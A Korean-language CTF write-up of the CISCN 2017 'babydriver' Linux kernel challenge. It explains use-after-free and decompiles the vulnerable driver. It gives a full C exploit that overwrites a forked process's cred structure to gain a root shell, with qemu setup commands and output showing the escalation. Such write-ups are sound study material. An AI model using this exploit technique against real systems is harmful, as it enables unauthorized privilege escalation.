CISCN 2017 babydriver write-up ( Linux kernel UAF )
Contents
What is UAF?
CISCN 2017 babydriver
setting
analysis
exploit
Conclusion
What is UAF(first-fit)?
UAF란 Use After Free의 약자이다.
말 그대로, 힙 공간을 사용 한 후 힙을 해제했을때 발생되는 취약점이다.
아래 코드를 보자.
int main(void)
{
int *heap1;
int *heap2;
int *heap3;
heap1 = (int *)malloc(sizeof(int) * 50);
heap2 = (int *)malloc(sizeof(int) * 50);
printf("heap1 address : %p\n", heap1);
printf("heap2 address : %p\n", heap2);
*heap2 = 1234;
printf("heap2 number : %d\n", *heap2);
printf("free heap2 :)\n");
free(heap2);
heap3 = (int *)malloc(sizeof(int) * 50);
printf("heap3 address : %p\n", heap3);
printf("heap3 value : %d\n", *heap3);
return 0;
}
heap1
,heap2
에 두번 malloc 해주고, heap2에 1234라는 값을 넣은 후 heap2를 free
하였다.
그리고 heap3
을 다시 똑같은 크기로 할당하였다.
결과는 어떨까?
juntae@ubuntu:~/kernel/babydriver/UAF_test$ ./code
heap1 address : 0x1a56010
heap2 address : 0x1a560e0
heap2 number : 1234
free heap2 :)
heap3 address : 0x1a560e0
heap3 value : 1234
heap2
와 heap3
의 주소와 값이 같을것을 볼 수 있다.
이는 heap
영역의 first-fit
알고리즘 때문이다.
first-fit
이란 힙 영역에서 사용 가능한 공간을 검색해서, 첫 번째로 찾아낸 곳에 메모리를 할당하는 방식으로, 메모리 할당 크기가 충분하면 바로 그곳에 할당을 완료하여 검색을 끝낸다.
위의 코드에서 각각 malloc
하고 free
하는 부분에 breakpoint
를 걸고 디버깅을 시도해보자.
위는 free
하기 전의 힙의 상황이다.
free
를 하고 나서의 모습이다.
3번째의 malloc
에서는 새로운 힙 공간을 할당하지 않고, 원래 사용했던 heap
공간인 0x602000
을 사용한 것을 볼 수 있다.
힙 공간을 할당할때, 맨 앞의 힙부터 차례차례 검사 한 결과, first-fit
알고리즘에 의해 free`된 영역이 사용하기 적합하다는 것을 판단하고, 해당 공간에 값을 할당한 것이다.
결과적으로 메모리를 효율적으로 사용하지만, 반대로 공간을 재사용 할경우, 원하지 않는 값을 참조할 수 있어지기 때문에, 취약점으로 발전할 수 있기 때문이다.
이 글은 일반적인 UAF
를 설명하는 글은 아니기 때문에, UAF
에 관한 예제 문제는 설명하지 않고 넘어가도록 하겠다.
CISCN 2017 babydriver
위에 설명한 UAF
취약점이 kernel
영역에서 발생함을 이용하여 exploit
하는 문제이다.
cred
구조체를 이용하는 방법,tty
구조체를 이용하는 방법으로 총 2가지 방법이 있지만, 나는 UAF
취약점으로 exploit
해 보겠다.
바이너리와 커널 이미지 등은 babydriver.zip 에 있다.
setting
압축을 해제하면 아래와 같은 파일들이 있다.
boot.sh
: qemu의 실행 옵션이 들어있는 쉘 스크립트bzImage
: 빌드된 커널의 이미지 파일rootfs.cpio
: 압축되어있는 파일 시스템
e d i t b o o t . s h
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
boot.sh
파일에는 위와같은 쉘스크립트가 작성되어 있다.-enable-kvm
은qemu-kvm
의 사용을 의미한다. 여기서kvm
은Kernel-based Virtual Machine
의 약자이다.-m 64M
은 메모리를 64M만큼 사용한다는 것을 의미한다.+smep
은SMEP
보호기법을 사용함을 의미 한다.
일단 -enable-kvm
옵션으로 qemu-kvm
을 사용함을 알 수 있다.
따라서 VMware
의 옵션에 들어가서 해당 기능을 켜야 한다.
VMware
의 설정에 들어가서, 해당 부분을 활성화 시키면 된다.
그리고 커널 디버깅을 위하여 boot.sh
를 수정한다.
해당 부분에 -s
옵션을 붙히면 된다. -s
옵션은 디버깅을 위해 1234 포트를 열고, 기다린다는 뜻이다.
마지막으로 -m 64M
으로 할당되어있는 메모리를 조금 늘려준다. 메모리가 적을경우 오류가 날 수도 있고, kernel panic
오류가 발생할 수 있기 때문이다.
이 글에서는 디버깅을 사용하지 않아서 꼭 하지는 않아도 된다 ㅎㅎ
qemu-system-x86_64 -s -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1'-enable-kvm -monitor /dev/null -m 256M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
최종적인 스크립트는 위와 같다.
이제 해당 파일에 실행권한을 주고, 쉘스크립트를 실행시킨다.
juntae@ubuntu:~/kernel/babydriver$ sudo ./boot.sh
위와 같이 ctf
권한을 가진 쉘이 실행된다.
이제 exploit
할때는 이 권한을 root
로 만들어 파일을 읽으면 된다.
f i n d f i l e s y s t e m
binwalk
로 cpio
를 확인해보면 압축되어있음을 알 수 있다.
따라서, 파일 시스템을 구하기 위하여 cpio
의 압축을 해제한다.
일단 rootfs.cpio
파일을 rootfs.gz
로 이름을 변경한다.
그리고 gzip -d rootfs.gz
라는 명령으로 압축을 해제해준다.
그럼 아래와 같이 파일시스템이 들어있는것을 알 수 있다.
마지막으로, rootfs
안에있는 파일들을 linux
로 빼오기 위해서, 아래와 같은 명령을 실행한다.
juntae@ubuntu:~/kernel/babydriver/file_system$ cpio -id -v < rootfs
-i
: 압축을 해제한다.-d
: 새로운 디렉토리를 만들고, 그곳에 압축을 해제한다.-v
: 압축을 해제하고, 파일명 목록을 출력한다.<
: 명령은 좌측에, 파일명은 우측에 적는다.<
를 사용한다면 압축할 수 있다.
그럼 위와같이 파일 시스템이 구해짐을 알 수 있다.
우리가 분석해야 할 것은, babydriver
라는 kernel module
이다.
따라서, kernel module
이 위치하는 폴더로 이동해서, 그 파일을 추출한다.
juntae@ubuntu:~/kernel/babydriver/file_system$ cd lib/modules/4.4.72/
juntae@ubuntu:~/kernel/babydriver/file_system/lib/modules/4.4.72$ ls babydriver.ko
위와같이 취약성이 있는 모듈을 확인할 수 있다.
Analysis
IDA
로 .ko
파일을 디컴파일 해보면 해당 모듈에는 아래와 같은 함수들이 있음을 알 수 있다.
babyrelease
babyopen
babyioctl
babywrite
babyread
babydriver_init
babydriver_exit
IDA
로 해당 커널 모듈을 열어보면 babydev_t
라는 구조체를 사용함을 알 수 있다.
shift + F1
을 입력하면 해당 모듈이 참조하는 구조체를 모두 보여준다.
여기서 babydevice_t
를 찾아서 우클릭 후 edit
를 클릭하면 아래와 같이 구조체가 선언되어있음을 알 수 있다.
struct babydevice_t
{
char *device_buf;
size_t device_buf_len;
};
그리고 프로그램을 보면 cdev...
이라는변수가 있는데, 이는 커널이 내부적으로 캐릭터 디바이스를 포현하기위해 사용하는 cdev
구조체이다.
커널이 open
,read
같은 함수를 호출하기 위해 할당 및 등록된다.
아래와 같은 구조체를 사용한다.
struct cdev
{
struct kobject kobj;
struct module *owner;
const struct file_operations *ops;
struct list_head list; dev_t dev;
unsigned int count;
}
분석하다보면
__fentry__
라는 부분이 존재한다.어떤 옵션을 키면
mcount
라는 함수가__fentry__
라고 대체된다고 한다.근데 둘이 하는 역할을 똑같다.
ftrace
를 할때 사용된다고 하는데, 문제에 아무 영향도 안주므로, 그냥 무시하고 넘어가도 될 듯 한다.
이제 하나하나 분석을 시작해보자.
분석은 커널 모듈이 실행될때 제일 먼저 실행되는 함수인 init
함수부터 해보자.
babydriver_init()
int __cdecl babydriver_init()
{
__int64 v0; // rdx
int v1; // edx
__int64 v2; // rsi
__int64 v3; // rdx
int v4; // ebx
class *v5; // rax
__int64 v6; // rdx
__int64 v7; // rax
if ( alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
cdev_init(&cdev_struct, &fops);
v2 = babydev_no;
cdev_struct.owner = &_this_module;
v4 = cdev_add(&cdev_struct, babydev_no, 1LL);
if ( v4 >= 0 )
{
v5 = _class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v5;
if ( v5 )
{
v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
v1 = 0;
if ( v7 )
return v1;
printk(&unk_351, 0LL, 0LL); // create device failed
class_destroy(babydev_class);
}
else
{
printk(&unk_33B, "babydev", v6); // create class failed
}
cdev_del(&cdev_struct);
}
else
{
printk(&unk_327, v2, v3); // cdev init failed
}
unregister_chrdev_region(babydev_no, 1LL);
return v4;
}
printk(&unk_309, 0LL, v0); // alloc chrdev region failed
return 1;
}
일단 제일 먼저 진행되는 함수이고, alloc_chrdev_region
함수를 이용하여 캐릭터 디바이스의 번호를 동적으로 할당한다.
*dev | 성공적인 경우 디바이스 번호가 할당 |
---|---|
firstminor | 디바이스에 할당될 첫번째 번호 |
count | 디바이스 개수 |
*name | 디바이스 이름( /proc/devices와 /proc/sysfs에 등록됨 ) |
alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev")
즉 babydev_no
에 0
이라는 디바이스 번호를 할당한다고 할 수 있다.
그리고 할당한 babydev
라는 디바이스에 cdev_init
,cdev_add
와 같은 함수들로 class
를 설정해주거나 device_create
함수로 직접 디바이스를 등록시키며 함수가 종료된다.
위 내용은 단순히 환경 설정 용도이고, 문제 풀이와는 무관하다.
babydriver_exit()
void __cdecl babydriver_exit()
{
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_struct);
unregister_chrdev_region(babydev_no, 1LL);
}
모듈이 종료될 때 사용되는 함수이다.
destroy
와 del
,un
과같은 단어가 포함되는것을 보아 babydriver_init
함수에서 등록시킨 디바이스나 클래스들을 해제시키는 역할을 하는 함수임을 알 수 있다.
babyioctl()
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
__int64 result; // rax
_fentry__(filp, *&command);
v4 = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = _kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 0x24000C0LL, v5);
result = 0LL;
}
else
{
printk(&unk_2EB, v3, v3); // default arg is %lld
result = -22LL;
}
return result;
}
만약 인자로 받은 command
가 65537
이면 할당한 device_buf
를 해제한다.
size_t v3; // rdx
인데 인자는 rdi,rsi,rdx순으로 넘기기 때문에 rdx
는 3번째 인자임을 알 수 있다.
그리고 v4
만큼 kmalloc
하는데 여기서 0x24000C
이라는 옵션을 준다.
그래서 gfp.h
의 코드를 보았다.
/* Plain integer GFP bitmasks. Do not use this directly. */
이렇게 define 하는것을 알 수 있다.
위에서 #define
되어있는 옵션을 보고 대충 어떤 플래그를 사용할지 유추할 수 있다.
내가 생각하기에는 ___GFP_THISNODE(0x200000)
를 사용하고, 나머지 플래그 두개를 사용한다고 생각하는데, 여기서 0x02짜리 플래그 하나와 0x10짜리 플래그 하나, 0x08짜리 플래그 하나와 0x04짜리 플래그 하나를 사용한다고 유추할 수 있다.
THISNODE
옵션은 지정된 노드에서만 할당을 허용하는 옵션이다.
나머지 옵션은 수에 따라 여러 경우가 존재하므로, 여기서는 적지 않겠다.
참고로, 위의 코드가 어떤 커널버전을 사용하는지는 확실하지 않다.
또한, 해당 문제 풀이에 중요한 부분은 아이다.
다시 babyioctl
로 돌아와서, 이 함수는 command
가 device_buf
를 free
시키고 v4
라는 arg
에 따라서 v4(arg)
만큼 malloc하고, device_buf_len
을 v4(agr)
로 설정함을 알 수 있다.
하지만 free를 하고 전역변수의 값을 NULL
로 바꾸지 않아 chunk 의 주소가 전역변수에 남게 된다.
babyopen()
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 0x24000C0LL, v2);
return 0;
}
해당 디바이스가 open
되었을때 사용되는 함수이다.
device_buf
에 64만큼의 heap
을 하나 할당한다.
마찬가지로 device_buf_len
에도 64를 설정한다.
kmem_cache_alloc_trace함수는 slub캐시에서 slub object를 할당받는 함수라고 한다.
문제 풀이와는 관련이 없다.
다음 함수로 넘어가보자.
babyread()
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}
device_buf
가 존재하지 않으면 함수를 종료한다.
만약 v4(rdx) == 3번째 인자
가 device_buf_len
보다 크다면 copy_to_user()
함수를 이용해 커널 영역의 데이터를 두 번째 인자로 전달받은 유저 공간에 받아온다.
baby_write()
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}
전달받은 세 번째 인자가 device_buf_len
보다 작을 경우 copy_from_user()
함수를 이용해 두 번째 인자로 전달받은 유저 공간의 데이터를 커널 영역에 전달한다.
babyrelease()
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}
babyrelease()
는 해당 디바이스를 close()
할 경우 호출되는 함수이다.
device_buf
멤버에 저장된 주소를 해제한다.
babyioctl()
함수와 다르게 babydev_sturct
구조체의 멤버들을 새로 저장하지 않는다.
즉, heap 할당을 관리하는 구조체가 해제된 포인터를 가르키게 된다.
이렇게 해제된 메모리를 가르키는 포인터를 dangling pointer
라고 한다.
Exploit
첫번째
fd
를open()
한다.현재 전역변수는
64bytes
짜리 첫번째heap
을 가르키고 있다.
첫번째
fd
에서babyioctl()
로168bytes
만큼heap
을 할당한다.힙이 해제되고,
168bytes
만큼 다시 할당하므로 현재 전역변수는168bytes
짜리heap
을 가리키고 있다.
첫번째
fd
를close()
한다.그럼 전역변수가 해제된
168bytes heap
을 가르키고 있다.(dangling pointer)
user space
에서fork()
를 호출한다.첫번째
fd
에UAF
에 의해cred struct
가 할당된다.아직도 전역변수는
168bytes heap
을 가르키고 있다.
두번째
fd
에서babywrite()
를이용하여 값을 수정한다.168bytes
짜리 전역변수를 가르키므로cred struct
를 수정할 수 있다.
system("/bin/sh")
를 한다.root
권한의 쉘이 획득됨.
int main()
{
int first_fd = open("/dev/babydev", O_RDWR);
int second_fd = open("/dev/babydev", O_RDWR);
ioctl(first_fd, 65537, 168);
close(first_fd);
int pid = fork();
if(pid < 0)
{
printf("ERROR");
exit(-1);
}
else if(pid == 0)
{
char fake_cred[30] = {0};
write(second_fd, fake_cred, 28);
system("/bin/sh");
exit(0);
}
close(second_fd);
return 0;
}
작성 한 익스플로잇은 -static
으로 컴파일 하고, 파일 시스템이 들어있는 디렉토리에 파일을 옮기고 아래와 같은 명령을 실행하자.
find . | cpio -o --format=newc > exploit.cpio
마지막으로, boot.sh
를 수정하고 실행하면 끝!
최종적으로는 아래와 같은 스크립트를 실행하자.
qemu-system-x86_64 -s -initrd (exploit.cpio path) -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1'-enable-kvm -monitor /dev/null -m 256M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
익스코드에서 fork()
함수를 사용하는것을 볼 수 있다.
그리고 이 함수를 사용하면 왜 cred struct
가 할당되는 것일까?
fork
함수는 내부적으로 clone
함수를 사용하고, 자세한 내부 루틴은 아래와 같다.
fork() -> clone() -> do_fork() -> copy_process() -> copy_creds() -> prepare_creds() -> kmem_cache_alloc()
이렇게 fork
를 하면 기존 cred
를 복사할 공간이 필요하다.
그래서 내부에서는 kmem_cache_alloc()
을 이용하여 이미 잘린 메모리를 가져온다.
그리고 cred struct
를 할당하는 이 과정에서 UAF
가 발생한다면?
cred struct
는 총 168bytes
이다. UAF
로 이 메모리를 할당하여 수정하면 된다.
권한 설정을 하는 부분은 앞쪽 30bytes
가량이므로 write(second_fd, fake_cred, 28);
해주었다.
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ ./exploit
[ 7.694453] device open
[ 7.696076] device open
[ 7.697377] alloc done
[ 7.699022] device release
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
root
쉘을 획득했다!
Conclusion
처음으로 풀어본 커널 CTF 문제이다.
처음에는 스택오버플로우로 간단하게 가려고 했는데, 커널 디버깅이랑 환경 구축을 너무 쉽게 설명해둔 글이 올라와서 그거 보고 참고좀 많이 했다.
이번 글에서는 디버깅 과정을 첨부하지 않아서 아쉬움이 많은데, 언젠간 디버깅 과정이 담긴 이쁜 커널 글이 올라올거다!
커널 열심히 해야징 ㅋㅋ 커널 생각보다 꿀잼 ㅋㅋ
환경구축이 귀찮은거 빼면 다좋다.
아 그리고 티스토리 마크다운 지원 좀 잘해줬으면 좋겠다. 사진 안들어가는거 개같당!